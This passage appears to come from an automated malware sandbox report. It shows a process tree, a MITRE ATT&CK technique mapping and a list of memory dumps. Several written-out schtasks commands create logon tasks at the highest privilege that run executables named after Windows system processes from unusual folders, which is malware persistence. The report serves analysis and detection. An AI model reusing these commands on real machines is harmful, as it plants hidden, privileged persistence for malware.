schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Documents and Settings\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:6264

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MicrosoftEdgeCP" /sc ONLOGON /tr "'C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\resources\MicrosoftEdgeCP.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:8736

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Documents and Settings\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5396

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4988

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "setup" /sc ONLOGON /tr "'C:\Boot\en-US\setup.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2552

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Users\Default\Links\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:9944

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe
"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe" /update
1⤵
PID:1956
- C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe
  C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe /update /peruser /childprocess
  2⤵
  - Modifies system executable filetype association
  - Adds Run key to start application
  - Modifies Internet Explorer settings
  - Modifies registry class
  PID:924
- - C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.160.0808.0002\FileSyncConfig.exe
    "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.160.0808.0002\FileSyncConfig.exe"
    3⤵
    - Loads dropped DLL
    - Modifies registry class
    PID:7712

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
PID:5360

C:\Windows\system32\compattelrunner.exe
C:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW
1⤵
PID:5344

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:7432

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:7228

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:9300

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
PID:9540

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Reader_sl.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Reader_sl.exe"
1⤵
PID:6700

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:7508

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:6088

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:1308

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
PID:7936

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4032

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:8352

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5496

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
PID:6156

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Change Default File Association

T1042

Modify Existing Service

T1031

New Service

T1050

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Winlogon Helper DLL

T1004

Privilege Escalation

New Service

T1050

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Software Discovery

T1518

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/8-405-0x00000000001E0000-0x00000000001E1000-memory.dmp

Filesize
4KB

Download
memory/68-340-0x0000027157A60000-0x0000027157AD4000-memory.dmp

Filesize
464KB

Download
memory/348-298-0x0000000000580000-0x0000000000581000-memory.dmp

Filesize
4KB

Download
memory/348-307-0x000000001B150000-0x000000001B152000-memory.dmp

Filesize
8KB

Download
memory/920-270-0x00000000059A0000-0x00000000059C3000-memory.dmp

Filesize
140KB

Download
memory/920-200-0x0000000000D20000-0x0000000000D21000-memory.dmp

Filesize
4KB

Download
memory/920-272-0x0000000005730000-0x000000000574D000-memory.dmp

Filesize
116KB

Download
memory/920-294-0x00000000066A0000-0x00000000066A1000-memory.dmp

Filesize
4KB

Download
memory/920-283-0x0000000006C70000-0x0000000006C71000-memory.dmp

Filesize
4KB

Download
memory/920-218-0x00000000059D0000-0x00000000059D1000-memory.dmp

Filesize
4KB

Download
memory/920-289-0x0000000006770000-0x0000000006771000-memory.dmp

Filesize
4KB

Download
memory/920-286-0x0000000006510000-0x0000000006511000-memory.dmp

Filesize
4KB

Download
memory/920-206-0x0000000005530000-0x0000000005531000-memory.dmp

Filesize
4KB

Download
memory/988-193-0x00000000013B0000-0x00000000013B1000-memory.dmp

Filesize
4KB

Download
memory/988-181-0x0000000000B10000-0x0000000000B11000-memory.dmp

Filesize
4KB

Download
memory/988-209-0x000000001B810000-0x000000001B812000-memory.dmp

Filesize
8KB

Download
memory/1048-395-0x000001F065C80000-0x000001F065CF4000-memory.dmp

Filesize
464KB

Download
memory/1056-211-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/1112-382-0x000001AF1AB70000-0x000001AF1ABE4000-memory.dmp

Filesize
464KB

Download
memory/1400-321-0x0000000005070000-0x00000000050CF000-memory.dmp

Filesize
380KB

Download
memory/1400-319-0x0000000004F0E000-0x000000000500F000-memory.dmp

Filesize
1.0MB

Download
memory/1404-268-0x0000000002F40000-0x0000000002F42000-memory.dmp

Filesize
8KB

Download
memory/1520-233-0x0000000000DD0000-0x0000000000DD1000-memory.dmp

Filesize
4KB

Download
memory/1592-317-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/1628-439-0x0000000002DE0000-0x0000000002DE1000-memory.dmp

Filesize
4KB

Download
memory/1628-363-0x0000000077220000-0x00000000773AE000-memory.dmp

Filesize
1.6MB

Download
memory/1664-220-0x00000000001E0000-0x00000000001E1000-memory.dmp

Filesize
4KB

Download
memory/1860-421-0x0000020356F40000-0x0000020356FB4000-memory.dmp

Filesize
464KB

Download
memory/2284-253-0x0000000008000000-0x0000000008001000-memory.dmp

Filesize
4KB

Download
memory/2284-232-0x0000000008740000-0x0000000008741000-memory.dmp

Filesize
4KB

Download
memory/2284-264-0x0000000008CE0000-0x0000000008CE1000-memory.dmp

Filesize
4KB

Download
memory/2284-217-0x0000000008050000-0x0000000008051000-memory.dmp

Filesize
4KB

Download
memory/2284-291-0x0000000008B10000-0x0000000008B11000-memory.dmp

Filesize
4KB

Download
memory/2284-196-0x0000000005100000-0x0000000005101000-memory.dmp

Filesize
4KB

Download
memory/2284-210-0x00000000072C2000-0x00000000072C3000-memory.dmp

Filesize
4KB

Download
memory/2284-219-0x0000000007880000-0x0000000007881000-memory.dmp

Filesize
4KB

Download
memory/2284-215-0x0000000007750000-0x0000000007751000-memory.dmp

Filesize
4KB

Download
memory/2284-222-0x0000000008270000-0x0000000008271000-memory.dmp

Filesize
4KB

Download
memory/2284-198-0x0000000007900000-0x0000000007901000-memory.dmp

Filesize
4KB

Download
memory/2284-226-0x00000000082E0000-0x00000000082E1000-memory.dmp

Filesize
4KB

Download
memory/2284-207-0x00000000072C0000-0x00000000072C1000-memory.dmp

Filesize
4KB

Download
memory/2284-224-0x0000000008090000-0x0000000008091000-memory.dmp

Filesize
4KB

Download
memory/2408-350-0x000002C32BC60000-0x000002C32BCD4000-memory.dmp

Filesize
464KB

Download
memory/2436-367-0x000001A209110000-0x000001A209184000-memory.dmp

Filesize
464KB

Download
memory/2636-305-0x00000000008E0000-0x00000000008F5000-memory.dmp

Filesize
84KB

Download
memory/2732-346-0x00000000001E0000-0x00000000001E1000-memory.dmp

Filesize
4KB

Download
memory/2788-332-0x0000023C13B20000-0x0000023C13B6D000-memory.dmp

Filesize
308KB

Download
memory/2788-343-0x0000023C14600000-0x0000023C14674000-memory.dmp

Filesize
464KB

Download
memory/3320-271-0x0000000001480000-0x0000000001481000-memory.dmp

Filesize
4KB

Download
memory/3320-293-0x0000000001620000-0x0000000001622000-memory.dmp

Filesize
8KB

Download
memory/3320-260-0x0000000000E60000-0x0000000000E61000-memory.dmp

Filesize
4KB

Download
memory/3764-249-0x0000000000A70000-0x0000000000A71000-memory.dmp

Filesize
4KB

Download
memory/3764-376-0x000000001CE80000-0x000000001CE82000-memory.dmp

Filesize
8KB

Download
memory/3968-276-0x0000000005150000-0x0000000005151000-memory.dmp

Filesize
4KB

Download
memory/3968-258-0x0000000000980000-0x0000000000981000-memory.dmp

Filesize
4KB

Download
memory/3968-295-0x00000000051D0000-0x00000000051D1000-memory.dmp

Filesize
4KB

Download
memory/3968-301-0x0000000008110000-0x0000000008111000-memory.dmp

Filesize
4KB

Download
memory/3968-303-0x0000000007CB0000-0x0000000007CB1000-memory.dmp

Filesize
4KB

Download
memory/4048-137-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/4048-134-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/4048-135-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/4048-142-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/4048-132-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/4048-139-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/4048-133-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/4136-240-0x0000000003480000-0x00000000035C0000-memory.dmp

Filesize
1.2MB

Download
memory/4220-327-0x0000000077220000-0x00000000773AE000-memory.dmp

Filesize
1.6MB

Download
memory/4400-385-0x0000000000400000-0x0000000000458000-memory.dmp

Filesize
352KB

Download
memory/4400-353-0x00000000001D0000-0x00000000001FF000-memory.dmp

Filesize
188KB

Download
memory/4576-306-0x000001FF28270000-0x000001FF28271000-memory.dmp

Filesize
4KB

Download
memory/4576-338-0x000001FF2A215000-0x000001FF2A217000-memory.dmp

Filesize
8KB

Download
memory/4576-335-0x000001FF2A214000-0x000001FF2A215000-memory.dmp

Filesize
4KB

Download
memory/4576-316-0x000001FF2A210000-0x000001FF2A212000-memory.dmp

Filesize
8KB

Download
memory/4740-244-0x0000000000400000-0x00000000004D7000-memory.dmp

Filesize
860KB

Download
memory/4740-241-0x0000000000A20000-0x0000000000AF4000-memory.dmp

Filesize
848KB

Download
memory/4748-234-0x0000000000560000-0x0000000000569000-memory.dmp

Filesize
36KB

Download
memory/4748-236-0x0000000000400000-0x000000000044D000-memory.dmp

Filesize
308KB

Download
memory/4760-290-0x000000001B2E0000-0x000000001B2E2000-memory.dmp

Filesize
8KB

Download
memory/4760-267-0x00000000006D0000-0x00000000006D1000-memory.dmp

Filesize
4KB

Download
memory/4880-205-0x000000001AF10000-0x000000001AF12000-memory.dmp

Filesize
8KB

Download
memory/4880-185-0x00000000003B0000-0x00000000003B1000-memory.dmp

Filesize
4KB

Download
memory/4896-238-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/4896-237-0x0000000000590000-0x00000000006DA000-memory.dmp

Filesize
1.3MB

Download
memory/4940-208-0x00000292366A0000-0x00000292366A2000-memory.dmp

Filesize
8KB

Download
memory/4940-225-0x00000292366A4000-0x00000292366A5000-memory.dmp

Filesize
4KB

Download
memory/4940-254-0x0000029239FE0000-0x0000029239FE1000-memory.dmp

Filesize
4KB

Download
memory/4940-192-0x000002921C090000-0x000002921C091000-memory.dmp

Filesize
4KB

Download
memory/4940-223-0x00000292366A5000-0x00000292366A7000-memory.dmp

Filesize
8KB

Download
memory/4940-204-0x0000029236890000-0x0000029236891000-memory.dmp

Filesize
4KB

Download
memory/4940-221-0x00000292366A2000-0x00000292366A4000-memory.dmp

Filesize
8KB

Download
memory/4940-214-0x00000292397A0000-0x000002923981E000-memory.dmp

Filesize
504KB

Download
memory/4940-197-0x000002921DD10000-0x000002921DD1B000-memory.dmp

Filesize
44KB

Download
memory/5012-393-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/5012-407-0x0000000004BB2000-0x0000000004BB3000-memory.dmp

Filesize
4KB

Download
memory/5012-389-0x00000000001C0000-0x00000000001F0000-memory.dmp

Filesize
192KB

Download
memory/5012-413-0x0000000004BB3000-0x0000000004BB4000-memory.dmp

Filesize
4KB

Download
memory/5388-358-0x000001C8B4860000-0x000001C8B48D4000-memory.dmp

Filesize
464KB

Download
memory/5404-341-0x0000000004A30000-0x0000000004A31000-memory.dmp

Filesize
4KB

Download
memory/5632-417-0x0000000004C80000-0x0000000004C81000-memory.dmp

Filesize
4KB

Download
memory/5732-397-0x0000000077220000-0x00000000773AE000-memory.dmp

Filesize
1.6MB

Download
memory/5816-379-0x000002B7E4440000-0x000002B7E44B4000-memory.dmp

Filesize
464KB

Download
memory/5852-425-0x0000000004F80000-0x0000000004F81000-memory.dmp

Filesize
4KB

Download
memory/5916-371-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/5976-430-0x0000000077220000-0x00000000773AE000-memory.dmp

Filesize
1.6MB

Download
memory/6224-401-0x0000000001080000-0x00000000015F7000-memory.dmp

Filesize
5.5MB

Download
memory/6224-435-0x0000000077220000-0x00000000773AE000-memory.dmp

Filesize
1.6MB

Download